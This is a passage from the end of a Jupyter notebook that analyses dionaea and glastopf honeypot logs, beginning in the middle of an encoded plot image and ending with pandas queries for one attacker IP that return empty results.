r60nUql1NHR4VY5AIAROjs79cknn+jKK690uxRg1hzH0UMPPaQzZ87otttuY3YOKtIvf/lLfec7\n32FWAyqeZVlqa2uTbdvasWOHduzY4XZJWCKu9mwAAJSf/v5+Pf300/re976ncDjsdjnArNm2rf37\n9yubzWrfvn1qb29nfXdUlHfeeUfJZFJr1qxRe3u72+UA89LW1qa6ujr19vaqra1Nq1ev1tVXX+12\nWVgCroUNqVRKXV1dpe2uri6lUim3ygEAaGja+VNPPaWvfOUr2rZtm9vlAPMSjUa1ZcsW/fGPfyRs\nQEX5+OOP9c477+jYsWPK5/PK5XJ69tln9YMf/MDt0oBZq6urkyQlk0lt27ZNHR0dhA1VwrWeDWvX\nrtXp06fV2dmpQqGgN954Q62trW6VAwBVzxijX/ziF1q9erW+/vWvu10OMCe9vb3KZDKShlameP/9\n97VmzRqXqwJm56677tLPf/5zPffcc7rvvvu0fv16ggZUpIGBgdKpQP39/Tp+/Liam5tdrgpLxbWZ\nDT6fT7t379a+fftKS19yTiUq0U9+8hN9+OGHSqfT+v73v69du3bplltucbssYNY+/vhj/f73v1dz\nc7MefPBBSUMfeDdv3uxyZcDMXbhwQc8995wcx5ExRjfeeKM2bNjgdlnAvFiW5XYJwJz09PRo//79\nkob66dxwww3atGmTy1VhqViG1qAAAAAAAGABuXYaBQAAAAAA8CbCBgAAAAAAsKAIGwAAAAAAwIIi\nbAAAAAAAAAuKsAEAAAAAACwowgYAAAAAALCgCBsAAAAAAMCCImwAAAAAAAAL6v8D/dq7AyJtkmoA\nAAAASUVORK5CYII=\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1092101d0>"
       ]
      }
     ],
     "prompt_number": 89
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "dionaea_df[dionaea_df.allattackerIP == '144.76.63.35'].connection_protocol.value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 81,
       "text": [
        "Series([], dtype: int64)"
       ]
      }
     ],
     "prompt_number": 81
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df.allattackerIP == '144.76.63.35'].request_url.value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 84,
       "text": [
        "Series([], dtype: int64)"
       ]
      }
     ],
     "prompt_number": 84
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [],
     "language": "python",
     "metadata": {},
     "outputs": []
    }
   ],
   "metadata": {}
  }
 ]
}